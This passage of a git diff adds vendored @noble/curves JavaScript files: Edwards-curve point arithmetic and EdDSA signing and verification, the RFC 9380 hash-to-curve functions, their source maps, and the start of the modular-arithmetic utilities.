CURVE_ORDER); // GE = prime subgroup, not full group + } + const pointPrecomputes = new Map(); + function isPoint(other) { + if (!(other instanceof Point)) + throw new Error('ExtendedPoint expected'); + } + // Extended Point works in extended coordinates: (x, y, z, t) ∋ (x=x/z, y=y/z, t=xy). + // https://en.wikipedia.org/wiki/Twisted_Edwards_curve#Extended_coordinates + class Point { + constructor(ex, ey, ez, et) { + this.ex = ex; + this.ey = ey; + this.ez = ez; + this.et = et; + if (!in0MaskRange(ex)) + throw new Error('x required'); + if (!in0MaskRange(ey)) + throw new Error('y required'); + if (!in0MaskRange(ez)) + throw new Error('z required'); + if (!in0MaskRange(et)) + throw new Error('t required'); + } + get x() { + return this.toAffine().x; + } + get y() { + return this.toAffine().y; + } + static fromAffine(p) { + if (p instanceof Point) + throw new Error('extended point not allowed'); + const { x, y } = p || {}; + if (!in0MaskRange(x) || !in0MaskRange(y)) + throw new Error('invalid affine point'); + return new Point(x, y, _1n, modP(x * y)); + } + static normalizeZ(points) { + const toInv = Fp.invertBatch(points.map((p) => p.ez)); + return points.map((p, i) => p.toAffine(toInv[i])).map(Point.fromAffine); + } + // "Private method", don't use it directly + _setWindowSize(windowSize) { + this._WINDOW_SIZE = windowSize; + pointPrecomputes.delete(this); + } + // Not required for fromHex(), which always creates valid points. + // Could be useful for fromAffine(). + assertValidity() { + const { a, d } = CURVE; + if (this.is0()) + throw new Error('bad point: ZERO'); // TODO: optimize, with vars below? + // Equation in affine coordinates: ax² + y² = 1 + dx²y² + // Equation in projective coordinates (X/Z, Y/Z, Z): (aX² + Y²)Z² = Z⁴ + dX²Y² + const { ex: X, ey: Y, ez: Z, et: T } = this; + const X2 = modP(X * X); // X² + const Y2 = modP(Y * Y); // Y² + const Z2 = modP(Z * Z); // Z² + const Z4 = modP(Z2 * Z2); // Z⁴ + const aX2 = modP(X2 * a); // aX² + const left = modP(Z2 * modP(aX2 + Y2)); // (aX² + Y²)Z² + const right = modP(Z4 + modP(d * modP(X2 * Y2))); // Z⁴ + dX²Y² + if (left !== right) + throw new Error('bad point: equation left != right (1)'); + // In Extended coordinates we also have T, which is x*y=T/Z: check X*Y == Z*T + const XY = modP(X * Y); + const ZT = modP(Z * T); + if (XY !== ZT) + throw new Error('bad point: equation left != right (2)'); + } + // Compare one point to another. + equals(other) { + isPoint(other); + const { ex: X1, ey: Y1, ez: Z1 } = this; + const { ex: X2, ey: Y2, ez: Z2 } = other; + const X1Z2 = modP(X1 * Z2); + const X2Z1 = modP(X2 * Z1); + const Y1Z2 = modP(Y1 * Z2); + const Y2Z1 = modP(Y2 * Z1); + return X1Z2 === X2Z1 && Y1Z2 === Y2Z1; + } + is0() { + return this.equals(Point.ZERO); + } + negate() { + // Flips point sign to a negative one (-x, y in affine coords) + return new Point(modP(-this.ex), this.ey, this.ez, modP(-this.et)); + } + // Fast algo for doubling Extended Point. + // https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html#doubling-dbl-2008-hwcd + // Cost: 4M + 4S + 1*a + 6add + 1*2. + double() { + const { a } = CURVE; + const { ex: X1, ey: Y1, ez: Z1 } = this; + const A = modP(X1 * X1); // A = X12 + const B = modP(Y1 * Y1); // B = Y12 + const C = modP(_2n * modP(Z1 * Z1)); // C = 2*Z12 + const D = modP(a * A); // D = a*A + const x1y1 = X1 + Y1; + const E = modP(modP(x1y1 * x1y1) - A - B); // E = (X1+Y1)2-A-B + const G = D + B; // G = D+B + const F = G - C; // F = G-C + const H = D - B; // H = D-B + const X3 = modP(E * F); // X3 = E*F + const Y3 = modP(G * H); // Y3 = G*H + const T3 = modP(E * H); // T3 = E*H + const Z3 = modP(F * G); // Z3 = F*G + return new Point(X3, Y3, Z3, T3); + } + // Fast algo for adding 2 Extended Points. + // https://hyperelliptic.org/EFD/g1p/auto-twisted-extended.html#addition-add-2008-hwcd + // Cost: 9M + 1*a + 1*d + 7add. + add(other) { + isPoint(other); + const { a, d } = CURVE; + const { ex: X1, ey: Y1, ez: Z1, et: T1 } = this; + const { ex: X2, ey: Y2, ez: Z2, et: T2 } = other; + // Faster algo for adding 2 Extended Points when curve's a=-1. + // http://hyperelliptic.org/EFD/g1p/auto-twisted-extended-1.html#addition-add-2008-hwcd-4 + // Cost: 8M + 8add + 2*2. + // Note: It does not check whether the `other` point is valid. + if (a === BigInt(-1)) { + const A = modP((Y1 - X1) * (Y2 + X2)); + const B = modP((Y1 + X1) * (Y2 - X2)); + const F = modP(B - A); + if (F === _0n) + return this.double(); // Same point. Tests say it doesn't affect timing + const C = modP(Z1 * _2n * T2); + const D = modP(T1 * _2n * Z2); + const E = D + C; + const G = B + A; + const H = D - C; + const X3 = modP(E * F); + const Y3 = modP(G * H); + const T3 = modP(E * H); + const Z3 = modP(F * G); + return new Point(X3, Y3, Z3, T3); + } + const A = modP(X1 * X2); // A = X1*X2 + const B = modP(Y1 * Y2); // B = Y1*Y2 + const C = modP(T1 * d * T2); // C = T1*d*T2 + const D = modP(Z1 * Z2); // D = Z1*Z2 + const E = modP((X1 + Y1) * (X2 + Y2) - A - B); // E = (X1+Y1)*(X2+Y2)-A-B + const F = D - C; // F = D-C + const G = D + C; // G = D+C + const H = modP(B - a * A); // H = B-a*A + const X3 = modP(E * F); // X3 = E*F + const Y3 = modP(G * H); // Y3 = G*H + const T3 = modP(E * H); // T3 = E*H + const Z3 = modP(F * G); // Z3 = F*G + return new Point(X3, Y3, Z3, T3); + } + subtract(other) { + return this.add(other.negate()); + } + wNAF(n) { + return wnaf.wNAFCached(this, pointPrecomputes, n, Point.normalizeZ); + } + // Constant-time multiplication. + multiply(scalar) { + const { p, f } = this.wNAF(assertInRange(scalar, CURVE_ORDER)); + return Point.normalizeZ([p, f])[0]; + } + // Non-constant-time multiplication. Uses double-and-add algorithm. + // It's faster, but should only be used when you don't care about + // an exposed private key e.g. sig verification. + // Does NOT allow scalars higher than CURVE.n. + multiplyUnsafe(scalar) { + let n = assertGE0(scalar); // 0 <= scalar < CURVE.n + if (n === _0n) + return I; + if (this.equals(I) || n === _1n) + return this; + if (this.equals(G)) + return this.wNAF(n).p; + return wnaf.unsafeLadder(this, n); + } + // Checks if point is of small order. + // If you add something to small order point, you will have "dirty" + // point with torsion component. + // Multiplies point by cofactor and checks if the result is 0. + isSmallOrder() { + return this.multiplyUnsafe(cofactor).is0(); + } + // Multiplies point by curve order and checks if the result is 0. + // Returns `false` is the point is dirty. + isTorsionFree() { + return wnaf.unsafeLadder(this, CURVE_ORDER).is0(); + } + // Converts Extended point to default (x, y) coordinates. + // Can accept precomputed Z^-1 - for example, from invertBatch. + toAffine(iz) { + const { ex: x, ey: y, ez: z } = this; + const is0 = this.is0(); + if (iz == null) + iz = is0 ? _8n : Fp.inv(z); // 8 was chosen arbitrarily + const ax = modP(x * iz); + const ay = modP(y * iz); + const zz = modP(z * iz); + if (is0) + return { x: _0n, y: _1n }; + if (zz !== _1n) + throw new Error('invZ was invalid'); + return { x: ax, y: ay }; + } + clearCofactor() { + const { h: cofactor } = CURVE; + if (cofactor === _1n) + return this; + return this.multiplyUnsafe(cofactor); + } + // Converts hash string or Uint8Array to Point. + // Uses algo from RFC8032 5.1.3. + static fromHex(hex, zip215 = false) { + const { d, a } = CURVE; + const len = Fp.BYTES; + hex = ensureBytes('pointHex', hex, len); // copy hex to a new array + const normed = hex.slice(); // copy again, we'll manipulate it + const lastByte = hex[len - 1]; // select last byte + normed[len - 1] = lastByte & ~0x80; // clear last bit + const y = ut.bytesToNumberLE(normed); + if (y === _0n) { + // y=0 is allowed + } + else { + // RFC8032 prohibits >= p, but ZIP215 doesn't + if (zip215) + assertInRange(y, MASK); // zip215=true [1..P-1] (2^255-19-1 for ed25519) + else + assertInRange(y, Fp.ORDER); // zip215=false [1..MASK-1] (2^256-1 for ed25519) + } + // Ed25519: x² = (y²-1)/(dy²+1) mod p. Ed448: x² = (y²-1)/(dy²-1) mod p. Generic case: + // ax²+y²=1+dx²y² => y²-1=dx²y²-ax² => y²-1=x²(dy²-a) => x²=(y²-1)/(dy²-a) + const y2 = modP(y * y); // denominator is always non-0 mod p. + const u = modP(y2 - _1n); // u = y² - 1 + const v = modP(d * y2 - a); // v = d y² + 1. + let { isValid, value: x } = uvRatio(u, v); // √(u/v) + if (!isValid) + throw new Error('Point.fromHex: invalid y coordinate'); + const isXOdd = (x & _1n) === _1n; // There are 2 square roots. Use x_0 bit to select proper + const isLastByteOdd = (lastByte & 0x80) !== 0; // x_0, last bit + if (!zip215 && x === _0n && isLastByteOdd) + // if x=0 and x_0 = 1, fail + throw new Error('Point.fromHex: x=0 and x_0=1'); + if (isLastByteOdd !== isXOdd) + x = modP(-x); // if x_0 != x mod 2, set x = p-x + return Point.fromAffine({ x, y }); + } + static fromPrivateKey(privKey) { + return getExtendedPublicKey(privKey).point; + } + toRawBytes() { + const { x, y } = this.toAffine(); + const bytes = ut.numberToBytesLE(y, Fp.BYTES); // each y has 2 x values (x, -y) + bytes[bytes.length - 1] |= x & _1n ? 0x80 : 0; // when compressing, it's enough to store y + return bytes; // and use the last byte to encode sign of x + } + toHex() { + return ut.bytesToHex(this.toRawBytes()); // Same as toRawBytes, but returns string. + } + } + Point.BASE = new Point(CURVE.Gx, CURVE.Gy, _1n, modP(CURVE.Gx * CURVE.Gy)); + Point.ZERO = new Point(_0n, _1n, _1n, _0n); // 0, 1, 1, 0 + const { BASE: G, ZERO: I } = Point; + const wnaf = wNAF(Point, nByteLength * 8); + function modN(a) { + return mod(a, CURVE_ORDER); + } + // Little-endian SHA512 with modulo n + function modN_LE(hash) { + return modN(ut.bytesToNumberLE(hash)); + } + /** Convenience method that creates public key and other stuff. RFC8032 5.1.5 */ + function getExtendedPublicKey(key) { + const len = nByteLength; + key = ensureBytes('private key', key, len); + // Hash private key with curve's hash function to produce uniformingly random input + // Check byte lengths: ensure(64, h(ensure(32, key))) + const hashed = ensureBytes('hashed private key', cHash(key), 2 * len); + const head = adjustScalarBytes(hashed.slice(0, len)); // clear first half bits, produce FE + const prefix = hashed.slice(len, 2 * len); // second half is called key prefix (5.1.6) + const scalar = modN_LE(head); // The actual private scalar + const point = G.multiply(scalar); // Point on Edwards curve aka public key + const pointBytes = point.toRawBytes(); // Uint8Array representation + return { head, prefix, scalar, point, pointBytes }; + } + // Calculates EdDSA pub key. RFC8032 5.1.5. Privkey is hashed. Use first half with 3 bits cleared + function getPublicKey(privKey) { + return getExtendedPublicKey(privKey).pointBytes; + } + // int('LE', SHA512(dom2(F, C) || msgs)) mod N + function hashDomainToScalar(context = new Uint8Array(), ...msgs) { + const msg = ut.concatBytes(...msgs); + return modN_LE(cHash(domain(msg, ensureBytes('context', context), !!prehash))); + } + /** Signs message with privateKey. RFC8032 5.1.6 */ + function sign(msg, privKey, options = {}) { + msg = ensureBytes('message', msg); + if (prehash) + msg = prehash(msg); // for ed25519ph etc. + const { prefix, scalar, pointBytes } = getExtendedPublicKey(privKey); + const r = hashDomainToScalar(options.context, prefix, msg); // r = dom2(F, C) || prefix || PH(M) + const R = G.multiply(r).toRawBytes(); // R = rG + const k = hashDomainToScalar(options.context, R, pointBytes, msg); // R || A || PH(M) + const s = modN(r + k * scalar); // S = (r + k * s) mod L + assertGE0(s); // 0 <= s < l + const res = ut.concatBytes(R, ut.numberToBytesLE(s, Fp.BYTES)); + return ensureBytes('result', res, nByteLength * 2); // 64-byte signature + } + const verifyOpts = VERIFY_DEFAULT; + function verify(sig, msg, publicKey, options = verifyOpts) { + const { context, zip215 } = options; + const len = Fp.BYTES; // Verifies EdDSA signature against message and public key. RFC8032 5.1.7. + sig = ensureBytes('signature', sig, 2 * len); // An extended group equation is checked. + msg = ensureBytes('message', msg); + if (prehash) + msg = prehash(msg); // for ed25519ph, etc + const s = ut.bytesToNumberLE(sig.slice(len, 2 * len)); + // zip215: true is good for consensus-critical apps and allows points < 2^256 + // zip215: false follows RFC8032 / NIST186-5 and restricts points to CURVE.p + let A, R, SB; + try { + A = Point.fromHex(publicKey, zip215); + R = Point.fromHex(sig.slice(0, len), zip215); + SB = G.multiplyUnsafe(s); // 0 <= s < l is done inside + } + catch (error) { + return false; + } + if (!zip215 && A.isSmallOrder()) + return false; + const k = hashDomainToScalar(context, R.toRawBytes(), A.toRawBytes(), msg); + const RkA = R.add(A.multiplyUnsafe(k)); + // [8][S]B = [8]R + [8][k]A' + return RkA.subtract(SB).clearCofactor().equals(Point.ZERO); + } + G._setWindowSize(8); // Enable precomputes. Slows down first publicKey computation by 20ms. + const utils = { + getExtendedPublicKey, + // ed25519 private keys are uniform 32b. No need to check for modulo bias, like in secp256k1. + randomPrivateKey: () => randomBytes(Fp.BYTES), + /** + * We're doing scalar multiplication (used in getPublicKey etc) with precomputed BASE_POINT + * values. This slows down first getPublicKey() by milliseconds (see Speed section), + * but allows to speed-up subsequent getPublicKey() calls up to 20x. + * @param windowSize 2, 4, 8, 16 + */ + precompute(windowSize = 8, point = Point.BASE) { + point._setWindowSize(windowSize); + point.multiply(BigInt(3)); + return point; + }, + }; + return { + CURVE, + getPublicKey, + sign, + verify, + ExtendedPoint: Point, + utils, + }; +} +//# sourceMappingURL=edwards.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/edwards.js.map b/node_modules/@noble/curves/esm/abstract/edwards.js.map new file mode 100644 index 000000000000..dda68a803a04 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/edwards.js.map @@ -0,0 +1 @@ +{"version":3,"file":"edwards.js","sourceRoot":"","sources":["../../src/abstract/edwards.ts"],"names":[],"mappings":"AAAA,sEAAsE;AACtE,8DAA8D;AAC9D,OAAO,EAAE,GAAG,EAAE,MAAM,cAAc,CAAC;AACnC,OAAO,KAAK,EAAE,MAAM,YAAY,CAAC;AACjC,OAAO,EAAE,WAAW,EAAc,MAAM,YAAY,CAAC;AACrD,OAAO,EAA2B,IAAI,EAAc,aAAa,EAAe,MAAM,YAAY,CAAC;AAEnG,qEAAqE;AACrE,kBAAkB;AAClB,MAAM,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,EAAE,GAAG,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC;AAezE,8EA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AG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC,CAAC;QACvC,4BAA4B;QAC5B,OAAO,GAAG,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,aAAa,EAAE,CAAC,MAAM,CAAC,KAAK,CAAC,IAAI,CAAC,CAAC;IAC7D,CAAC;IAED,CAAC,CAAC,cAAc,CAAC,CAAC,CAAC,CAAC,CAAC,sEAAsE;IAE3F,MAAM,KAAK,GAAG;QACZ,oBAAoB;QACpB,6FAA6F;QAC7F,gBAAgB,EAAE,GAAe,EAAE,CAAC,WAAW,CAAC,EAAE,CAAC,KAAK,CAAC;QAEzD;;;;;WAKG;QACH,UAAU,CAAC,UAAU,GAAG,CAAC,EAAE,KAAK,GAAG,KAAK,CAAC,IAAI;YAC3C,KAAK,CAAC,cAAc,CAAC,UAAU,CAAC,CAAC;YACjC,KAAK,CAAC,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC;YAC1B,OAAO,KAAK,CAAC;QACf,CAAC;KACF,CAAC;IAEF,OAAO;QACL,KAAK;QACL,YAAY;QACZ,IAAI;QACJ,MAAM;QACN,aAAa,EAAE,KAAK;QACpB,KAAK;KACN,CAAC;AACJ,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/hash-to-curve.js b/node_modules/@noble/curves/esm/abstract/hash-to-curve.js new file mode 100644 index 000000000000..36a25b445847 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/hash-to-curve.js @@ -0,0 +1,173 @@ +import { mod } from './modular.js'; +import { bytesToNumberBE, concatBytes, utf8ToBytes, validateObject } from './utils.js'; +function validateDST(dst) { + if (dst instanceof Uint8Array) + return dst; + if (typeof dst === 'string') + return utf8ToBytes(dst); + throw new Error('DST must be Uint8Array or string'); +} +// Octet Stream to Integer. "spec" implementation of os2ip is 2.5x slower vs bytesToNumberBE. +const os2ip = bytesToNumberBE; +// Integer to Octet Stream (numberToBytesBE) +function i2osp(value, length) { + if (value < 0 || value >= 1 << (8 * length)) { + throw new Error(`bad I2OSP call: value=${value} length=${length}`); + } + const res = Array.from({ length }).fill(0); + for (let i = length - 1; i >= 0; i--) { + res[i] = value & 0xff; + value >>>= 8; + } + return new Uint8Array(res); +} +function strxor(a, b) { + const arr = new Uint8Array(a.length); + for (let i = 0; i < a.length; i++) { + arr[i] = a[i] ^ b[i]; + } + return arr; +} +function isBytes(item) { + if (!(item instanceof Uint8Array)) + throw new Error('Uint8Array expected'); +} +function isNum(item) { + if (!Number.isSafeInteger(item)) + throw new Error('number expected'); +} +// Produces a uniformly random byte string using a cryptographic hash function H that outputs b bits +// https://www.rfc-editor.org/rfc/rfc9380#section-5.3.1 +export function expand_message_xmd(msg, DST, lenInBytes, H) { + isBytes(msg); + isBytes(DST); + isNum(lenInBytes); + // https://www.rfc-editor.org/rfc/rfc9380#section-5.3.3 + if (DST.length > 255) + DST = H(concatBytes(utf8ToBytes('H2C-OVERSIZE-DST-'), DST)); + const { outputLen: b_in_bytes, blockLen: r_in_bytes } = H; + const ell = Math.ceil(lenInBytes / b_in_bytes); + if (ell > 255) + throw new Error('Invalid xmd length'); + const DST_prime = concatBytes(DST, i2osp(DST.length, 1)); + const Z_pad = i2osp(0, r_in_bytes); + const l_i_b_str = i2osp(lenInBytes, 2); // len_in_bytes_str + const b = new Array(ell); + const b_0 = H(concatBytes(Z_pad, msg, l_i_b_str, i2osp(0, 1), DST_prime)); + b[0] = H(concatBytes(b_0, i2osp(1, 1), DST_prime)); + for (let i = 1; i <= ell; i++) { + const args = [strxor(b_0, b[i - 1]), i2osp(i + 1, 1), DST_prime]; + b[i] = H(concatBytes(...args)); + } + const pseudo_random_bytes = concatBytes(...b); + return pseudo_random_bytes.slice(0, lenInBytes); +} +// Produces a uniformly random byte string using an extendable-output function (XOF) H. +// 1. The collision resistance of H MUST be at least k bits. +// 2. H MUST be an XOF that has been proved indifferentiable from +// a random oracle under a reasonable cryptographic assumption. +// https://www.rfc-editor.org/rfc/rfc9380#section-5.3.2 +export function expand_message_xof(msg, DST, lenInBytes, k, H) { + isBytes(msg); + isBytes(DST); + isNum(lenInBytes); + // https://www.rfc-editor.org/rfc/rfc9380#section-5.3.3 + // DST = H('H2C-OVERSIZE-DST-' || a_very_long_DST, Math.ceil((lenInBytes * k) / 8)); + if (DST.length > 255) { + const dkLen = Math.ceil((2 * k) / 8); + DST = H.create({ dkLen }).update(utf8ToBytes('H2C-OVERSIZE-DST-')).update(DST).digest(); + } + if (lenInBytes > 65535 || DST.length > 255) + throw new Error('expand_message_xof: invalid lenInBytes'); + return (H.create({ dkLen: lenInBytes }) + .update(msg) + .update(i2osp(lenInBytes, 2)) + // 2. DST_prime = DST || I2OSP(len(DST), 1) + .update(DST) + .update(i2osp(DST.length, 1)) + .digest()); +} +/** + * Hashes arbitrary-length byte strings to a list of one or more elements of a finite field F + * https://www.rfc-editor.org/rfc/rfc9380#section-5.2 + * @param msg a byte string containing the message to hash + * @param count the number of elements of F to output + * @param options `{DST: string, p: bigint, m: number, k: number, expand: 'xmd' | 'xof', hash: H}`, see above + * @returns [u_0, ..., u_(count - 1)], a list of field elements. + */ +export function hash_to_field(msg, count, options) { + validateObject(options, { + DST: 'stringOrUint8Array', + p: 'bigint', + m: 'isSafeInteger', + k: 'isSafeInteger', + hash: 'hash', + }); + const { p, k, m, hash, expand, DST: _DST } = options; + isBytes(msg); + isNum(count); + const DST = validateDST(_DST); + const log2p = p.toString(2).length; + const L = Math.ceil((log2p + k) / 8); // section 5.1 of ietf draft link above + const len_in_bytes = count * m * L; + let prb; // pseudo_random_bytes + if (expand === 'xmd') { + prb = expand_message_xmd(msg, DST, len_in_bytes, hash); + } + else if (expand === 'xof') { + prb = expand_message_xof(msg, DST, len_in_bytes, k, hash); + } + else if (expand === '_internal_pass') { + // for internal tests only + prb = msg; + } + else { + throw new Error('expand must be "xmd" or "xof"'); + } + const u = new Array(count); + for (let i = 0; i < count; i++) { + const e = new Array(m); + for (let j = 0; j < m; j++) { + const elm_offset = L * (j + i * m); + const tv = prb.subarray(elm_offset, elm_offset + L); + e[j] = mod(os2ip(tv), p); + } + u[i] = e; + } + return u; +} +export function isogenyMap(field, map) { + // Make same order as in spec + const COEFF = map.map((i) => Array.from(i).reverse()); + return (x, y) => { + const [xNum, xDen, yNum, yDen] = COEFF.map((val) => val.reduce((acc, i) => field.add(field.mul(acc, x), i))); + x = field.div(xNum, xDen); // xNum / xDen + y = field.mul(y, field.div(yNum, yDen)); // y * (yNum / yDev) + return { x, y }; + }; +} +export function createHasher(Point, mapToCurve, def) { + if (typeof mapToCurve !== 'function') + throw new Error('mapToCurve() must be defined'); + return { + // Encodes byte string to elliptic curve. + // hash_to_curve from https://www.rfc-editor.org/rfc/rfc9380#section-3 + hashToCurve(msg, options) { + const u = hash_to_field(msg, 2, { ...def, DST: def.DST, ...options }); + const u0 = Point.fromAffine(mapToCurve(u[0])); + const u1 = Point.fromAffine(mapToCurve(u[1])); + const P = u0.add(u1).clearCofactor(); + P.assertValidity(); + return P; + }, + // Encodes byte string to elliptic curve. + // encode_to_curve from https://www.rfc-editor.org/rfc/rfc9380#section-3 + encodeToCurve(msg, options) { + const u = hash_to_field(msg, 1, { ...def, DST: def.encodeDST, ...options }); + const P = Point.fromAffine(mapToCurve(u[0])).clearCofactor(); + P.assertValidity(); + return P; + }, + }; +} +//# sourceMappingURL=hash-to-curve.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/hash-to-curve.js.map b/node_modules/@noble/curves/esm/abstract/hash-to-curve.js.map new file mode 100644 index 000000000000..faee1402e1f6 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/hash-to-curve.js.map @@ -0,0 +1 @@ +{"version":3,"file":"hash-to-curve.js","sourceRoot":"","sources":["../../src/abstract/hash-to-curve.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,GAAG,EAAU,MAAM,cAAc,CAAC;AAC3C,OAAO,EAAE,eAAe,EAAS,WAAW,EAAE,WAAW,EAAE,cAA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,OAAO,EAAU,CAAC,CAAC;YAC9E,MAAM,EAAE,GAAG,KAAK,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;YAC9C,MAAM,EAAE,GAAG,KAAK,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;YAC9C,MAAM,CAAC,GAAG,EAAE,CAAC,GAAG,CAAC,EAAE,CAAC,CAAC,aAAa,EAAE,CAAC;YACrC,CAAC,CAAC,cAAc,EAAE,CAAC;YACnB,OAAO,CAAC,CAAC;QACX,CAAC;QAED,yCAAyC;QACzC,wEAAwE;QACxE,aAAa,CAAC,GAAe,EAAE,OAAsB;YACnD,MAAM,CAAC,GAAG,aAAa,CAAC,GAAG,EAAE,CAAC,EAAE,EAAE,GAAG,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,SAAS,EAAE,GAAG,OAAO,EAAU,CAAC,CAAC;YACpF,MAAM,CAAC,GAAG,KAAK,CAAC,UAAU,CAAC,UAAU,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,aAAa,EAAE,CAAC;YAC7D,CAAC,CAAC,cAAc,EAAE,CAAC;YACnB,OAAO,CAAC,CAAC;QACX,CAAC;KACF,CAAC;AACJ,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/abstract/modular.js b/node_modules/@noble/curves/esm/abstract/modular.js new file mode 100644 index 000000000000..ec835a3289f4 --- /dev/null +++ b/node_modules/@noble/curves/esm/abstract/modular.js @@ -0,0 +1,416 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +// Utilities for modular arithmetics and finite fields +import { bitMask, numberToBytesBE, numberToBytesLE, bytesToNumberBE, bytesToNumberLE, ensureBytes, validateObject, } from './utils.js'; +// prettier-ignore +const _0n = BigInt(0), _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3); +// prettier-ignore +const _4n = BigInt(4), _5n = BigInt(5), _8n = BigInt(8); +// prettier-ignore +const _9n = BigInt(9), _16n = BigInt(16); +// Calculates a modulo b +export function mod(a, b) { + const result = a % b; + return result >= _0n ? result : b + result; +} +/** + * Efficiently raise num to power and do modular division. + * Unsafe in some contexts: uses ladder, so can expose bigint bits. + * @example + * pow(2n, 6n, 11n) // 64n % 11n == 9n + */ +// TODO: use field version && remove +export function pow(num, power, modulo) { + if (modulo <= _0n || power < _0n) + throw new Error('Expected power/modulo > 0'); + if (modulo === _1n) + return _0n; + let res = _1n; + while (power > _0n) { + if (power & _1n) + res = (res * num) % modulo; + num = (num * num) % modulo; + power >>= _1n; + } + return res; +} +// Does x ^ (2 ^ power) mod p. pow2(30, 4) == 30 ^ (2 ^ 4) +export function pow2(x, power, modulo) { + let res = x; + while (power-- > _0n) { + res *= res; + res %= modulo; + } + return res; +} +// Inverses number over modulo +export function invert(number, modulo) { + if (number === _0n || modulo <= _0n) { + throw new Error(`invert: expected positive integers, got n=${number} mod=${modulo}`); + } + // Euclidean GCD https://brilliant.org/wiki/extended-euclidean-algorithm/ + // Fermat's little theorem "CT-like" version inv(n) = n^(m-2) mod m is 30x slower. + let a = mod(number, modulo); + let b = modulo; + // prettier-ignore + let x = _0n, y = _1n, u = _1n, v = _0n; + while (a !== _0n) { + // JIT applies optimization if those two lines follow each other + const q = b / a; + const r = b % a; + const m = x - u * q; + const n = y - v * q; + // prettier-ignore + b = a, a = r, x = u, y = v, u = m, v = n; + } + const gcd = b; + if (gcd !== _1n) + throw new Error('invert: does not exist'); + return mod(x, modulo); +} +/** + * Tonelli-Shanks square root search algorithm. + * 1. https://eprint.iacr.org/2012/685.pdf (page 12) + * 2. Square Roots from 1; 24, 51, 10 to Dan Shanks + * Will start an infinite loop if field order P is not prime. + * @param P field order + * @returns function that takes field Fp (created from P) and number n + */ +export function tonelliShanks(P) { + // Legendre constant: used to calculate Legendre symbol (a | p), + // which denotes the value of a^((p-1)/2) (mod p). + // (a | p) ≡ 1 if a is a square (mod p) + // (a | p) ≡ -1 if a is not a square (mod p) + // (a | p) ≡ 0 if a ≡ 0 (mod p) + const legendreC = (P - _1n) / _2n; + let Q, S, Z; + // Step 1: By factoring out powers of 2 from p - 1, + // find q and s such that p - 1 = q*(2^s) with q odd + for (Q = P - _1n, S = 0; Q % _2n === _0n; Q /= _2n, S++) + ; + // Step 2: Select a non-square z such that (z | p) ≡ -1 and set c ≡ zq + for (Z = _2n; Z < P && pow(Z, legendreC, P) !== P - _1n; Z++) + ; + // Fast-path + if (S === 1) { + const p1div4 = (P + _1n) / _4n; + return function tonelliFast(Fp, n) { + const root = Fp.pow(n, p1div4); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Slow-path + const Q1div2 = (Q + _1n) / _2n; + return function tonelliSlow(Fp, n) { + // Step 0: Check that n is indeed a square: (n | p) should not be ≡ -1 + if (Fp.pow(n, legendreC) === Fp.neg(Fp.ONE)) + throw new Error('Cannot find square root'); + let r = S; + // TODO: will fail at Fp2/etc + let g = Fp.pow(Fp.mul(Fp.ONE, Z), Q); // will update both x and b + let x = Fp.pow(n, Q1div2); // first guess at the square root + let b = Fp.pow(n, Q); // first guess at the fudge factor + while (!Fp.eql(b, Fp.ONE)) { + if (Fp.eql(b, Fp.ZERO)) + return Fp.ZERO; // https://en.wikipedia.org/wiki/Tonelli%E2%80%93Shanks_algorithm (4. If t = 0, return r = 0) + // Find m such b^(2^m)==1 + let m = 1; + for (let t2 = Fp.sqr(b); m < r; m++) { + if (Fp.eql(t2, Fp.ONE)) + break; + t2 = Fp.sqr(t2); // t2 *= t2 + } + // NOTE: r-m-1 can be bigger than 32, need to convert to bigint before shift, otherwise there will be overflow + const ge = Fp.pow(g, _1n << BigInt(r - m - 1)); // ge = 2^(r-m-1) + g = Fp.sqr(ge); // g = ge * ge + x = Fp.mul(x, ge); // x *= ge + b = Fp.mul(b, g); // b *= g + r = m; + } + return x; + }; +} +export function FpSqrt(P) { + // NOTE: different algorithms can give different roots, it is up to user to decide which one they want. + // For example there is FpSqrtOdd/FpSqrtEven to choice root based on oddness (used for hash-to-curve). + // P ≡ 3 (mod 4) + // √n = n^((P+1)/4) + if (P % _4n === _3n) { + // Not all roots possible! + // const ORDER = + // 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaabn; + // const NUM = 72057594037927816n; + const p1div4 = (P + _1n) / _4n; + return function sqrt3mod4(Fp, n) { + const root = Fp.pow(n, p1div4); + // Throw if root**2 != n + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // Atkin algorithm for q ≡ 5 (mod 8), https://eprint.iacr.org/2012/685.pdf (page 10) + if (P % _8n === _5n) { + const c1 = (P - _5n) / _8n; + return function sqrt5mod8(Fp, n) { + const n2 = Fp.mul(n, _2n); + const v = Fp.pow(n2, c1); + const nv = Fp.mul(n, v); + const i = Fp.mul(Fp.mul(nv, _2n), v); + const root = Fp.mul(nv, Fp.sub(i, Fp.ONE)); + if (!Fp.eql(Fp.sqr(root), n)) + throw new Error('Cannot find square root'); + return root; + }; + } + // P ≡ 9 (mod 16) + if (P % _16n === _9n) { + // 